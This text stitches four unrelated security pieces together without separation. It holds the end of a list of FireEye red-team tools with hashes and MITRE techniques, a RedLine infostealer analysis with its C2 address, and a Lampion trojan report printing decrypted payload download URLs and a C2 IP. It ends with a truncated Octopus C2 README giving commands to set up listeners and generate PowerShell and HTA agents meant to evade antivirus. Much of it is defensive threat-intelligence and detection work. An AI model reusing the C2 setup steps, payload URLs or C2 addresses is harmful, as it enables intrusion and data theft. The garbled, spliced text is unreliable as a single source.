2b3cab071ca6f104377a7684eb586150fdec11df2dc8cebcb468f57a82f10c73 - 89a456943cf6d2b3cd9cdc44f13a23640575435ed49fa754f7ed358c1a3b6ba9 - 3547d857af012c643a75bd3c1d3226c98e8181dc6e92872eb0746b26f6cc1a09 - d1d3b00e8be37b30abfe2ff2aca90073ae517a27635a9fbb2e222981cf1ae817 - 796f70f7e01257c5b79e398851c836e915f6518e1e3ecd07bcd29233cf78f13d - bcf1857fe1eb566c0dbd032f7ec186bc1a31895861ac36887ad034501794fd00 - 4542ebba83ef6e16db6dc30383614bf52cb7c3f2fbd1577de10f02d6bf7dfc50 - 291a6968a3f7f2092c656d0275c604182d6f7ee7b813460aeb8b28c06d804b5e - b0a55532654bbfd0aafa59dfe26b576a095d9ac4a4af2f99bca442a1d87ce29b - 27dd261ad7f3ad7d782625c2a459caf6ae81109ffe8f830b68b154f02d578658 ### 1.18 SharpUtils It is an open-source collection of red team utilities written in C#. ### 1.19 SharpZeroLogon It is an open-source exploit for the Zerologon vulnerability (CVE-2020-1472). It exploits the cryptographic vulnerability in Netlogon to bypass authentication. **SharpZeroLogon IOCs (SHA256)**: - c4a97815d2167df4bdf9bfb8a9351f4ca9a175c3ef7c36993407c766b57c805b - b9088bea916e1d2137805edeb0b6a549f876746999fbb1b4890fb66288a59f9d - 24d425448e4a09e1e1f8daf56a1d893791347d029a7ba32ed8c43e88a2d06439 - 7a05fd67e9344d27c90a7196ab32cbaf1ee8c14f8655e87cc3ebddca7eacebdf - eec19dd96f08c4b6c61e079cbff058bb79d928a3c3dd01b397222a3f5bfe2dd9 - fa032802537b61f0e5f3645229a0758114b0c00ddc95273efba7a17ed18e2e00 - 10ed27a6dad3793933262c0a0b4ec1837c7127cde872acf23e4c42a8ecfd9109 - 7bcf833ab795b3a2cbd5df2e8caf5d664534b4623d0864dda73222dc47c56ec7 ### 1.20 TitoSpecial TitoSpecial is based on an open-source tool AndrewSpecial, which is a credential stealer. It dumps credentials from LSASS memory. **MITRE ATT&CK Techniques**: - T1003.001 OS Credential Dumping: LSASS Memory **TitoSpecial / AndreSpecial IOCs (SHA256)**: - 7bcf833ab795b3a2cbd5df2e8caf5d664534b4623d0864dda73222dc47c56ec7 **Picus Threat Library**: - 797345 TitoSpecial (FireEye) Infostealer .EXE File Download Variant-1 ### 1.21 TrimBishop This tool is based on an open-source tool, Rural Bishop. **TrimBishop / RuralBishop IOCs (SHA256)**: - 38e7e5250287542688b12e216d9b25388061decde2f7255969a7a914cda0faf4 - 60247aa54635a0788f636aeab9752cc4e83ba4ae3ec336f60e01ab8dec856a05 - 7127e4b634f2bf6b9965d183c3dd61540ed4e08c4d60123da44892cf509cfe94 - f821c3b8274d69e6948dea823682d16be0b23da3ea5363d6ffa0ea05e8654c05 - b40c8fcb20acf66db418078f0d6099145b220dc056d095beb54665faf6c726c7 **Picus Threat Library**: - 754289 TrimBishop (FireEye) RAT .EXE File Download Variant-5 - 451090 TrimBishop (FireEye) RAT .EXE File Download Variant-4 - 854677 TrimBishop (FireEye) RAT .EXE File Download Variant-3 - 759601 TrimBishop (FireEye) RAT .EXE File Download Variant-2 - 746754 TrimBishop (FireEye) RAT .EXE File Download Variant-1 ### 2. Tools Based on Built-in Windows Binaries These tools use built-in Windows binaries known as LOLBINs. #### 2.1 DueDLLigence DueDLLigence is a shellcode runner framework previously published by FireEye. Red Teams use it for application whitelisting bypass and DLL side-loading. It utilizes built-in Windows binaries Control.exe, Rasautou.exe, and msiexec.exe to bypass applications. **MITRE ATT&CK Techniques**: - T1218.002 Signed Binary Proxy Execution: Control Panel - T1218.007 Signed Binary Proxy Execution: Msiexec **DueDLLigence IOCs (SHA256)**: - 9ff0c4211b7e0b6b9789c4a8576a5e2d1085ca729047a97518f46073ba558956 - bcbc2f9367a909de763dca4d46d8328b65593df72abb5e61d2b8b104245f4814 - df50e66c9f384a5ff9e3b23272677f3cc2962759947bffbfb905a12f21fd7a3d - 71227bc1534a092ba03e6374cad929b193d1f6667cb781efd059b7d7d8e09c1d - aac1cd7e70f87d29504a017c7c1fe4ad276980d624d1f3651565cada52a37031 **Picus Threat Library**: - 590774 Dism.exe OS Binary (Lolbas) used in Signed Binary Proxy Execution - 288390 DueDLLigence (FireEye) RAT .DLL File Download Variant-4 - 380893 DueDLLigence (FireEye) RAT .DLL File Download Variant-3 - 664528 DueDLLigence (FireEye) RAT .DLL File Download Variant-2 - 755632 DueDLLigence (FireEye) RAT .DLL File Download Variant-1 #### 2.2 MSBuildMe This red team tool is based on the MSBuild (Microsoft Build Engine), which is a platform for building applications. It is used to compile and execute code and bypass the Application Whitelisting (AWL). **MITRE ATT&CK Techniques**: - T1127.001 Trusted Developer Utilities Proxy Execution: MSBuild **Picus Threat Library**: - 422325 Microsoft Build Engine (MSBuild) Attack Scenario - 395873 Parent PID Spoofing using APC Queue Code Injection - 817545 Mimikatz Execution using MSBuild Task Property #### 2.3 NetshShellCodeRunner This tool is based on Netsh.exe, which is a Windows tool used to manipulate network interface settings. Netsh.exe is used by adversaries and red teamers to execute a .dll file. **MITRE ATT&CK Techniques**: - T1546.007 Event Triggered Execution: Netsh Helper DLL #### 2.4 Uncategorized This is a collection of tools that utilize built-in Windows binaries dism.exe, searchprotocolhost.exe, and werfault.exe for Process Injection. **MITRE ATT&CK Techniques**: - T1055 Process Injection #### 2.5 Weaponize This tool uses the built-in Windows binary TSTheme.exe. ### 3. Tools Developed In-house for FireEye’s Red Team These tools are specifically developed for the use of FireEye’s Red Team. #### 3.1 DShell DShell red team tool is a backdoor written in the D programming language. Its payload is encoded in Base64 format. According to Windows functions used by DShell, we guess it uses the process injection technique to inject its payload into a legitimate process. **DShell IOCs (SHA256)**: - 747941f972e786f9a93c809247dc776d1fe348e004b1c087683756ae48acfdfe - 4647ead22996882f3e17104040605473309f460d4f8d00f07395de89d81a039c - a6834eb32f20a52786ce1c5e99b94baec4d251414a97ca4717b2b06c88340a4b - 2b4d48aac9c6885f50f5f95c10385aa10f7de9c8f393e64777b544e8fae8c95b - 5e53ce8f7f5f0b9c85bcb15becc5ae4ce9f8fc01504e76deaafbf70ffa1cda9d - 6500e845c478dc26d950b913da2fb85d6b180275827737062f23c8671b2cbd0e - c32514711f72002e9a540c2434dee7b239485d01a95a7530b939fed43f277f6d - 77dedb037985896646ee3a65687dca17f669750133893209ea765c991a2c39a0 - 0c55581575708818bd5b58cd9647f1112f97a921f36227d4fe512e710e0a0dbf - 225d4be8f66361b82dd89fc14496a1ebe37049c1930672dde2ccb6aab068aff1 **Picus Threat Library**: - 679074 DShell (FireEye) Backdoor .EXE File Download Variant-4 - 820177 DShell (FireEye) Backdoor .EXE File Download Variant-3 - 657835 DShell (FireEye) Backdoor .EXE File Download Variant-2 - 565235 DShell (FireEye) Backdoor .EXE File Download Variant-1 #### 3.2 Excavator This red team tool can dump a process directly or via its service. It is used by red teams to dump credentials from LSASS memory. **MITRE ATT&CK Techniques**: - T1003.001 OS Credential Dumping: LSASS Memory **Excavator IOCs (SHA256)**: - efb533249f71ea6ebfb6418bb67c94e8fbd5f2a26cbd82ef8ec1d30c0c90c6c1 - 27a5e3795e150eb9d3af99a654be7d9a684983c0bbccc9ba0b4efa4301404760 - 31d06aa9ceb13c28b6af76d6b5cc33dc14c59e4496c9265cee60cbad3d89b863 **Picus Threat Library**: - 470104 Excavator (FireEye) Infostealer .DLL File Download Variant-1 - 624090 Excavator (FireEye) Infostealer .DLL File Download Variant-2 - 244487 Excavator (FireEye) Infostealer .EXE File Download Variant-1 #### 3.3 GetDomainPasswordPolicy It is a reconnaissance tool that obtains the password policy for an Active Directory domain. #### 3.4 GPOHunt It is a reconnaissance tool that retrieves Group Policy configurations. #### 3.5 KeePersist It is a tool developed in-house for FireEye’s Red Team that is used for persistence. #### 3.6 LNKSmasher LNKSmasher is a tool that generates malicious .LNK files. LNK is a file format used for shortcut files that point to an executable file. This red team tool can embed an arbitrary payload in an LNK file. **MITRE ATT&CK Techniques**: - T1547.009 Boot or Logon Autostart Execution: Shortcut Modification - T1204.002 User Execution: Malicious File #### 3.7 LuaLoader LuaLoader is a red team tool that can load arbitrary codes written in the Lua language. It is a tool developed in-house for FireEye’s Red Team. #### 3.8 Matryoshka Matryoshka is a tool written in the Rust programming language. It is a multi-stage tool. After downloading the first-stage payload, it runs the second-stage malware via its dropper and installs the real payload. It uses the process hollowing technique to evade defenses. #### 3.9 MemComp The MemComp tool is used for in-memory compilation. #### 3.10 MOFComp MOFComp (MOF Compiler) is a built-in Windows tool that parses a file containing MOF (Managed Object Format) statements and adds the classes and class instances defined in the file to the WMI (Windows Management Instrumentation) repository. **MITRE ATT&CK Techniques**: - T1546.003 Event Triggered Execution: Windows Management Instrumentation Event Subscription #### 3.11 PGF PGF is a backdoor development framework that utilizes several LOLBINs, such as Netsh, InstallUtil, Regasm, RunDLL32, Control, and Cstmp.exe. **MITRE ATT&CK Techniques**: - T1218.001 Signed Binary Proxy Execution: Compiled HTML File - T1218.002 Signed Binary Proxy Execution: Control Panel - T1218.003 Signed Binary Proxy Execution: CMSTP - T1218.004 Signed Binary Proxy Execution: InstallUtil - T1218.005 Signed Binary Proxy Execution: Mshta - T1218.007 Signed Binary Proxy Execution: Msiexec - T1218.008 Signed Binary Proxy Execution: Odbcconf - T1218.009 Signed Binary Proxy Execution: Regsvcs/Regasm - T1218.010 Signed Binary Proxy Execution: Regsvr32 - T1218.011 Signed Binary Proxy Execution: Rundll32 - T1216.001 Signed Script Proxy Execution: PubPrn - T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control - T1036.005 Masquerading: Match Legitimate Name or Location - T1055 Process Injection - T1574.002 Hijack Execution Flow: DLL Search Order Hijacking - T1574.002 Hijack Execution Flow: DLL Side-Loading **PGF IOCs (SHA256)**: - 1208a9fcee5cf7522676427a7b8ceb6d49f7fcb6295f759b8cda0c3b3066a7e1 - a0d5f287b9b3c0f540d5a59db423b86776a81181f81e14082d7b72ac1d99f8ea - 86313ef291ebc5905837f16a8a99992550f986feca21fdc40f554b674c7298f7 - 1a9d041c82423805bc01b4cb1f5c20c5d58ebc4b525fd88553803a2f148ebd8d - ebc16780fe7083af5a9e143b56e0a791115f8b37b83f1bad5bab4828623e1224 - 032d1aa450227df5d23cc304009ad2db48b33e78191f464a1acc101807845aa7 - 65e7006479b5be1d094047a201da9a83e3ed424835752c62534bac32a9f3153b - 24e37e197bdbabf8a2bc63e0776e82c00a440febe171ec1e648f024338c0871c - e1a42ea65004088638bd06353c14f85dcb0030e9fb6975425c6916d8f4f36dd3 - 304ee129a947706c6436d89215034332554cbb30cde833ce1d368d5b4b97eb3b **Picus Threat Library**: - 573139 PGF (FireEye) Hacking Tool .EXE File Download Variant-3 - 819174 PGF (FireEye) Hacking Tool .EXE File Download Variant-2 - 674310 PGF (FireEye) Hacking Tool .EXE File Download Variant-1 #### 3.12 PXELoot It is a red team tool that discovers and exploits misconfigurations in Windows Deployment Services (WDS). #### 3.13 RedFlare RedFlare is a Trojan development framework that includes builder, controller, downloader, and keylogger. It can generate Trojans for Windows and Linux systems. **RedFlare IOCs (SHA256)**: - 037a51ea69153ce7044f85bb11d54f825b9fed904dac1b7c3f505c50cc8a43ab - 42192e9df6321af2a1039a2353f1abe2aa53174582c7623cb1e42c9accc24720 - 11ddfdf2f102cb1518c0dc8d9021d8c16c9da3ae1b99ff3abc77467e7709ef23 - dd5157b908d14f09cedc7ce687056a57a883fd796624e42f731c57630d7b43b4 - 34acd86d85b018feecc9adcd7985f15678306f518c21fcd6b34d62b27521fea5 - 4b3629ff14f5dc465d628cadc2f0c0b7503979078b1f9559fc35f6b0b1c7299d - 7ecb85692b45c28300144c1451ef9e94cdd1964f40cd809e4b9b423581b2843e - 9033aff8650ff5236b696561f7b0546581c74d715301a22584fdfca59ec444a2 - 68e376573d59d8f4e626d34df4ed8c16bae409fd95ca5f7215c9e483422ea429 - 8118b4c86db92483bf20e466f3ff664a4ea25e728a480282b498e95673bbb4f5 - 546a7635330fdefc2a084483eb2a43187d302de5bdfbe7a36364f8ed019f8f36 - 914cb1bcb371622923ac70bea30eb9bd6ff6f75c189d110de0be6adc30002157 - 28d9875c987188f940606459fd9b9dd65df224dfeb31e552e5b564a71b1eb7ce - ed2898dbbb1c9f3ba50adb64d17b1ce4ab31b3b0b8e18160ec6b6800f3922f9b **Picus Threat Library**: - 809371 RedFlare (FireEye) Hacking Tool .EXE File Download Variant-3 - 207277 RedFlare (FireEye) Hacking Tool .EXE File Download Variant-2 - 867336 RedFlare (FireEye) Hacking Tool .EXE File Download Variant-1 #### 3.14 RedFlare (GoRAT) GoRAT is a RAT (Remote Access Trojan) written in the Golang programming language. **GoRAT IOCs (SHA256)**: - 1381107c1f473b3dce170356158be445afc76ec3c0661d8429ef1f5a591e76f0 - 39845d02f72d83ef342b62b7348776d44cdb3eb6416b83ea2167b301d306cd58 #### 3.15 ResumePlease It is a Microsoft Office macro malware template that includes malicious VBA (Visual Basic for Application) codes. **ResumePlease IOCs (SHA256)**: - 1866449e8ad2c55240eafdf14fc835138ca3e99a7b180c2150cef047868f56cc - a841a86fe10e11ced850a471cc3256e37d9435e292cac2a9c00f55592b2bf0de **Picus Threat Library**: - 637798 ResumePlease (FireEye) Office Exploit Payload .Doc File Download Variant-1 #### 3.16 SharPersist It is a Windows persistence toolkit written in C# for FireEye Red Team. It provides persistence via several methods, such as modifying registry run keys, adding payload to the startup folder, and adding a new scheduled task that runs on each startup. **MITRE ATT&CK Techniques**: - T1112 Modify Registry - T1546.015 Event Triggered Execution: Component Object Model Hijacking - T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder - T1047 Windows Management Instrumentation - T1053.005 Scheduled Task/Job: Scheduled Task **SharPersist IOCs (SHA256)**: - e9711f47cf9171f79bf34b342279f6fd9275c8ae65f3eb2c6ebb0b8432ea14f8 - 455aab141cc9945899c9838b187251c7f647470d827a1d4ce8e833f04a6dd386 - 68c3388de07d92023490fb47caf1b6f92556959f2267cc3b3d2fcd5018cd3d72 - 0a443ea08c23991d229ee89a92bc23f959e17819027bb71f6267a7dfeeb9793d - 4c3d4cbeec3d722929d86c0bf19108b3eac090fc5dc8fcde2cf818ff16e6fc5b **Picus Threat Library**: - 206268 Registry Run Keys / Startup Folder Persistence by using SharPersist Tool - 478660 SharpPersist (FireEye) Hacking Tool .EXE File Download Variant-3 - 286882 SharpPersist (FireEye) Hacking Tool .EXE File Download Variant-2 - 479515 SharpPersist (FireEye) Hacking Tool .EXE File Download Variant-1 #### 3.17 SharPivot SharPivot is a .NET console application. This red team tool executes commands on a remote target for lateral movement by utilizing DCOM (Distributed Component Object Model). **MITRE ATT&CK Techniques**: - T1021.003 Remote Services: Distributed Component Object Model - T1559.001 Inter-Process Communication: Component Object Model - T1059.003 Command and Scripting Interpreter: Windows Command Shell #### 3.18 SharpSchTask It is a persistence tool written in C# that utilizes the scheduled task feature of Windows. **MITRE ATT&CK Techniques**: - Scheduled Task/Job: Scheduled Task #### 3.19 SharpStomp SharpStomp is a C# utility that can be used to modify creation, last access, and last write time of a file. In other words, it is a timestomping tool. **MITRE ATT&CK Techniques**: - T1070.006 Indicator Removal on Host: Timestomp #### 3.20 SinfulOffice This tool is used to create malicious Microsoft Office documents using the OLE (Object Linking and Embedding) feature. **SinfulOffice IOCs (SHA256)**: - 4c5e5e172d233680fee184643b4b79dbf1f97674807c7e40bcfaac8675016c0d - a099840e55c6d813db791842efb1512e401af03e4fd9e285b6e906b615cc477a **Picus Threat Library**: - 589557 OLE_CharENCODING (FireEye) Office Exploit Payload .DOC File Download Variant-1 #### 3.21 WildChild WildChild is a builder tool that is used to create malicious HTA (HTML Application) files. Microsoft HTML Application Host (Mshta.exe) runs HTA files. **MITRE ATT&CK Techniques**: - T1218.005 Signed Binary Proxy Execution: Mshta #### 3.22 WMIRunner This tool is used to run WMI commands. **MITRE ATT&CK Techniques**: - T1047 Windows Management Instrumentation #### 3.23 WMISharp This tool includes WMI commands used in Red Team engagements. **MITRE ATT&CK Techniques**: - T1047 Windows Management Instrumentation #### 3.24 WMISpy WMISpy tool uses several WMI classes such as Win32_NetworkLoginProfile, MSFT_NetNeighbor, Win32_IP4RouteTable, Win32_DCOMApplication, Win32_SystemDriver, Win32_Share, and Win32_Process for reconnaissance and lateral movement. **MITRE ATT&CK Techniques**: - T1047 Windows Management Instrumentation - T1021.003 Remote Services: Distributed Component Object Model ### 4. Tools without Adequate Data to Analyze The Yara rules published by FireEye for the following tools are specific to ProjectGuid of the tool. We hope FireEye publishes more detailed countermeasures about this tool. - AllTheThings - CoreHound - Justask - PrepShellCode - Revolver - SharpGenerator - SharpGrep - SharpSack - SharpSectionInjection - SharPy
# RedLine Infostealer **Nidal Fikri** Hatching Triage Malware Research Analyst. Ex-Trend Micro Intern. 16 minute read ## RedLine in a Nutshell RedLine is a newly emerging infostealer. An infostealer malware is designed to gather information and steal valuable assets from an infected system. The most common form of infostealer is to gather login information, like usernames and passwords. RedLine was first noticed in 2020 via COVID-19 phishing emails and has been active in 2021. RedLine is almost everywhere, appearing as trojanized services, games, and cracks. It is used for extensive information stealing operations, like credit card credentials, crypto wallets, and sensitive files. Furthermore, RedLine can also be used as a malware loader or dropper for extended malicious impact, such as infecting the victim with additional malware like ransomware. The RedLine malware family has been distributed and sold mostly via underground malware forums, with many samples appearing with legit-looking digital certificates. RedLine is considered one of the most serious threats currently in the wild, making it essential to know how it works, how to detect it, and how to protect your organization. ## RedLine Infection Vector RedLine is extremely versatile and has been delivered by numerous mechanisms. It is used in multiple smaller campaigns by individuals who have purchased the malware from underground forums. Some known infection vectors include: - Trojanized as popular services: Telegram, Signal, Discord (i.e., legit-looking installers). - Email phishing campaigns. - Abusing Google Ads while hosting Trojanized or fake websites. - Social engineering campaigns targeting digital artists using Non-Fungible Tokens. - Downloaded by malware loaders. ## Technical Summary 1. **Configuration Extraction**: RedLine comes with embedded configuration, which is Base64 encoded and XOR encrypted with a hard-coded key. This configuration contains the C&C server and the malware Botnet ID, which it communicates with to exfiltrate gathered information and for further remote commands. 2. **C2 Communication**: After extracting the C&C, RedLine checks if it can reach its C&C server. If there is an available connection, it tries to obtain the malicious scan settings, which contain flags to determine which information to steal and tuning parameters to specify desired data assets. 3. **Host Profiling**: RedLine gathers information about the infected host to decide further actions, relying on Windows Management Instrumentation (WMI) to harvest information such as Hardware ID, Usernames, OS version, Installed languages, Installed programs, Current running processes, Anti-malware products, Graphics card info, and Victim’s Location. 4. **Information Stealing**: RedLine can exfiltrate various information based on the obtained scan arguments: - **Files**: Any specified files in the ProgramData, Program Files, and Program Files (x86) directories. - **Browsers**: Login credentials, Cookies, Auto-fill fields, and Credit card details. - **Crypto Wallets**: Credentials for various wallets like Armory, Exodus, Ethereum, Monero, and BinanceChain. - **VPN Clients**: Credentials for NordVPN, ProtonVPN, and OpenVPN. - **Gaming Clients**: Credentials for Valve’s Steam platform. - **Instant Messengers**: Targeting Telegram session data and Discord tokens. - **FTP Clients**: Credentials of FileZilla FTP client. 5. **Remote Execution**: After successful data exfiltration, RedLine can obtain additional remote commands to execute within the infected machine, including downloading additional files, executing PE files, opening malicious links, and executing remote commands via CMD.exe. ## Technical Analysis ### First Look & Unpacking This sample comes disguised as a packed C/C++ file, responsible for unpacking and exposing the real RedLine malware. The initial packed file is flagged malicious by 20 security vendors according to VirusTotal. The final unpacked file is found to be a .NET application, which is the real RedLine malware. ### Configuration Extraction RedLine hides its UI from the infected user and uses the Decrypt() function to extract the embedded encrypted configuration. The decrypted C&C is "188.124.36.242:25802" and the decrypted Botnet ID is "paladin". ### C2 Communication After extracting the C&C IP address, RedLine checks if it can reach the C&C server. If there is an available connection, it tries to obtain the malicious scan settings. ### Information Stealing RedLine contains many functions to collect and harvest valuable assets in the infected machine. It instantiates important data structures, which will be populated with the stolen assets and the gathered host profile. ### Host Profiling RedLine contains more than 20 functions to perform a full sweep of the infected machine, including querying the Windows registry and using documented APIs to gather information about installed browsers, software, and security solutions. ### Exfiltrating Files RedLine uses the ScannedFile class to populate the exfiltrated files. It locates specified files based on search patterns and creates a ScannedFile instance for the filtered filename. ### Harvesting Browsers RedLine targets both Chromium and Gecko-based browsers, stealing account credentials, credit card credentials, cookies, and auto-fill data. ### Stealing Crypto Wallets RedLine targets various crypto wallets, using predefined search patterns to populate the wallets into ScannedFile instances. ### Harvesting Instant Messenger Clients RedLine targets session data from Instant Messenger clients like Discord and Telegram, stealing tokens and session data. ### Snatching VPN Clients Credentials RedLine targets VPN clients like NordVPN, OpenVPN, and ProtonVPN, using obfuscated strings to locate targeted XML files containing VPN credentials. ### Harvesting Gaming Clients RedLine targets Steam, attempting to access the Steam Sentry File used to store credentials. ### Stealing FTP Credentials RedLine targets the FileZilla application, using the ScanCredentials() function to extract required credentials. ### Remote Execution RedLine can act as a malware loader, capable of delivering additional threats to the infected machine. It can perform various remote execution actions once connected to its C&C server. ## Conclusion RedLine is regarded as a true security threat to any machine. Its capabilities to steal valuable assets and load additional serious malware make it a significant threat. RedLine has been sold as individual packages or as Malware-as-a-Service (MaaS) on a subscription basis. With the rise of MaaS underground forums, RedLine threats are unlikely to fade away soon. ## IoCs | No. | Description | Value | |-----|-------------|-------| | 1 | Initial packed file | 1d91ab82e01d7682deecbeef7b441f26e405c0053e0354e92fdb5cfe61b097b0 | | 2 | Unpacked RedLine | e9905446c858326e8f0fe12f6df777542180608381f1ccae4bda9a8356b04abc | | 3 | RedLine C&C server | 188.124.36.242:25802 | ## YARA Rule ```yara rule redline : infostealer { meta: description = "This is a noob rule for detecting unpacked RedLine" author = "Nidal Fikri @cyber_anubis" strings: $mz = {4D 5A} //PE File $s1 = "IRemoteEndpoint" $s2 = "ITaskProcessor" $s3 = "ScannedFile" $s4 = "ScanningArgs" $s5 = "ScanResult" $s6 = "DownloadAndExecuteUpdate" $s7 = "OpenUpdate" $s8 = "CommandLineUpdate" $s9 = "TryCompleteTask" $s10 = "TryGetTasks" $s11 = "TryInitBrowsers" $s12 = "InstalledBrowsers" $s13 = "TryInitInstalledBrowsers" $s14 = "TryInitInstalledSoftwares" $s15 = "TryGetConnection" condition: ($mz at 0) and (10 of ($s*)) } ``` ## References - https://blogs.blackberry.com/en/2021/07/threat-thursday-redline-infostealer
# Lampion Trojan Disseminated in Portugal Using COVID-19 Template February 10, 2021 The fresh release of the Latin American Lampion trojan was updated with a new C2 address. In the last few days, a new release of the Latin American Lampion trojan was released in Portugal using a template related to COVID-19. This trojan has been distributed in Portugal in different ways, but this time the pandemic situation and the ongoing vaccination process is the reason behind this campaign to drop the beast in the wild. In detail, the threat is impersonating the domain “min-saude.pt” and the link to the zip file is also distributed in the email body. **Comuinicado-Covid19-Min-Saude-VRC-03-02-21-210.zip** The modus operandi is the same as observed in previous releases, only the addresses of the DLLs used during the side-loading process and C2 server geolocalized in Russia have been changed. DLLs used during the DLL side-loading process downloaded from Google storage: - `encrypted_string="n\s^[j]jef9ig0`%Y%|ipjweWh+WM]2[W$}]MeRee]8bc[{W<f6_$iH$iYLe]c|%` - `decrypted_string="hxxps://storage.googleapis.com/mystorage2021/P-2-19.dll"` - `encrypted_string="iP/^*j6jvfpiV0O%A%*i;j+eLh(W\]K[N$0];e.ep]&br[gW+f/_)ik$+Y&excs%=cJo` - `decrypted_string="hxxps://storage.googleapis.com/mystorage2021/0.zip"` When the malware is executed, it communicates with the C2 server and the browser overlay process begins every time a target home banking portal is accessed on the victim side. **Communication Process** - `0x64d637c (246): <|Info|><|>Microsoft Windows 10 Home (64)bit<|><|><|>` - `0x64d6474 (108): O|210X|..|FF|############00000000|5.188.9.28|||@[email protected]` - `0x64d64fc (360): ##35977722363232BA77922081E8A8B11D252207F6A##############173E26057E4840ABCD03FFE2D3BAC` - `0x64d667c (364): ##35977722363232BA77922081E8A8B11D252207F###############A0053CCA9187D90E173E26057E4840` - `0x64dc5cc (264): ##35977722363232BA77922081E8A8B11D252207F############90E173E26057E4840ABCD0##` - `0x64dc6ec (260): 44A46F92B11004144D5DFA2DF86AAF66###############C8690B55C83A03225F22BBC12B17BDD3AD94E` C2 server geolocated in Russia: `C2: 5.188.9.28` **Banking Overlay Windows** **Indicators of Compromise (IOCs)** - Sample: `A0217751E21918083A8B9A6DD3916EDD` - Zip file: `hxxps://transfer.pcloud.com/download.html?code=5Z3YkhXZI6WMHp985xzZaomKZGOMp6DsTf9jKump5wPGzlVLzHrJV&label=Transfer%20-%20files%20sent%20(to%20recipient)#` - DLLs: - `hxxps://storage.googleapis.com/mystorage2021/0.zip` - `hxxps://storage.googleapis.com/mystorage2021/P-2-19.dll` C2 server - RUSSIA: `5.188.9.28` **About the Author** Pedro Tavares is a professional in the field of information security working as an Ethical Hacker/Pentester, Malware Researcher, and also a Security Evangelist. He is also a founding member at CSIRT.UBI and Editor-in-Chief of the security computer blog seguranca-informatica.pt. In recent years he has invested in the field of information security, exploring and analyzing a wide range of topics, such as pentesting (Kali Linux), malware, exploitation, hacking, IoT, and security in Active Directory networks. He is also a Freelance Writer (Infosec. Resources Institute and Cyber Defense Magazine) and developer of the 0xSI_f33d – a feed that compiles phishing and malware campaigns targeting Portuguese citizens.
# Octopus: Open Source Pre-Operation C2 Server Octopus is an open source, pre-operation C2 server based on Python that can control an Octopus PowerShell agent through HTTP/S. The main purpose of creating Octopus is for use before any red team operation, allowing you to attack the target and gather information before starting your actual red team operation. Octopus works by executing commands and exchanging information with the C2 over a well-encrypted channel, making it inconspicuous and undetectable from most AV, endpoint protection, and network monitoring solutions. One notable feature in Octopus is called ESA (Endpoint Situational Awareness), which gathers important information about the target, helping you gain a better understanding of the target network endpoints. Octopus is designed to be stealthy and covert while communicating with the C2, using AES-256 by default for its encrypted channel between the PowerShell agent and the C2 server. You can also opt for using SSL/TLS by providing a valid certificate for your domain and configuring the Octopus C2 server to use it. ## Key Features - Control agents through HTTP/S. - Execute system commands. - Download / Upload files. - Load external PowerShell modules. - Use encrypted channels (AES-256) between C2 and agents. - Use inconspicuous techniques to execute commands and transfer results. - Create custom and multiple listeners for each target. - Generate different types of payloads. - Support all Windows versions with PowerShell 2.0 and higher. - Run Octopus Windows executable agent without touching PowerShell.exe process. - Gather information automatically from the endpoint (endpoint situational awareness) feature. ## Requirements You can install all of Octopus' requirements via: ``` pip install -r requirements.txt ``` You need to install `nasm` for Linux and the `mingw-w64` compiler to use the shellcoding feature and the spoofed args agent. You can install `nasm` on Debian-based distros using: ``` apt install nasm ``` And you can install `mingw-w64` on Debian-based distros using: ``` apt install mingw-w64 ``` Octopus has been tested on the following operating systems: - Ubuntu (18.04) - Ubuntu (16.04) - Kali Linux (2019.2) You will also need to install Mono to compile the C# source without issues. Octopus depends on the `mono-csc` binary to compile the C# source, which can be installed with: ``` apt install mono-devel ``` You can use Octopus without installing Mono, but you will not be able to use the `generate_exe` command. ## Installation First, download the latest version of Octopus using the following command: ``` git clone https://github.com/mhaskar/Octopus/ ``` Then install the requirements: ``` pip install -r requirements.txt ``` After that, start the Octopus server by running: ``` ./octopus.py ``` You will be greeted with the following once you run it: ``` ┌─[askar@hackbook]─[/opt/redteaming/Octopus] └──╼ $python3 octopus.py ___ ___ ___ ___ ___ ___ / /\ / /\ ___ / /\ / /\ /__/\ / /\ / /::\ / /:/ / /\ / /::\ / /::\ \ \:\ / /:/_ / /:/\:\ / /:/ / /:/ / /:/\:\ / /:/\:\ \ \:\ / /:/ /\ / /:/ \:\ / /:/ ___ / /:/ / /:/ \:\ / /:/~/:/ ___ \ \:\ / /:/ /::\ /__/:/ \__\:\ /__/:/ / /\ / /::\ /__/:/ \__\:\ /__/:/ /:/ /__/\ \__\:\ /__/:/ /:/\:\ \ \:\ / /:/ \ \:\ / /:/ /__/:/\:\ \ \:\ / /:/ \ \:\/:/ \ \:\ / /:/ \ \:\/:/~/:/ \ \:\ /:/ \ \:\ /:/ \__\/ \:\ \ \:\ /:/ \ \::/ \ \:\ /:/ \ \::/ /:/ \ \:\/:/ \ \:\/:/ \ \:\ \ \:\/:/ \ \:\ \ \:\/:/ \__\/ /:/ \ \::/ \ \::/ \__\/ \ \::/ \ \:\ \ \::/ /__/:/ \__\/ \__\/ \__\/ \__\/ \__\/ \__\/ v1.2 stable ! Octopus C2 | Control your shells Octopus >> ``` ## Usage Using Octopus is simple; you just need to start a listener and generate your agent based on that listener's information. You can generate as many listeners as you need and then start interacting with your agents that connect to them. ### Profile Setup Before using Octopus, set up a URL handling profile that controls the C2 behavior and functions. The profile can be customized to handle connections and ensure that the URLs do not serve as signatures or IoCs in the network you are attacking. To set up your profile, edit the `profile.py` file, which contains key variables such as: - `file_receiver_url`: handles file downloading. - `report_url`: handles ESA reports. - `command_send_url`: handles commands sent to the target. - `command_receiver_url`: handles commands executed on the target. - `first_ping_url`: handles the first connection from the target. - `server_response_header`: header shown in every response. - `auto_kill`: controls when the agent will be killed after N failed connections with the C2. ### Listeners Octopus has two main listeners: "http listener" and "https listener." The options for both listeners are mostly identical. #### HTTP Listener The `listen_http` command takes the following arguments to start: - `BindIP`: Defines the IP address used by the listener. - `BindPort`: Defines the port you want to listen on. - `Hostname`: Used to request the payload from. - `Interval`: Number of seconds the agent will wait before checking for commands. - `URL`: Name of the page hosting the payload. - `Listener_name`: Name to use for the listener. You can start a listener using the following command: ``` listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1 ``` #### HTTPS Listener To create an HTTPS listener, use the `listen_https` command: ``` listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem ``` ### Generate Agents #### PowerShell Oneliner To generate an agent for the listener `operation1`, use: ``` generate_powershell operation1 ``` #### HTA Oneliner To generate a HTA oneliner for the listener `operation1`, use: ``` generate_hta operation1 ``` #### 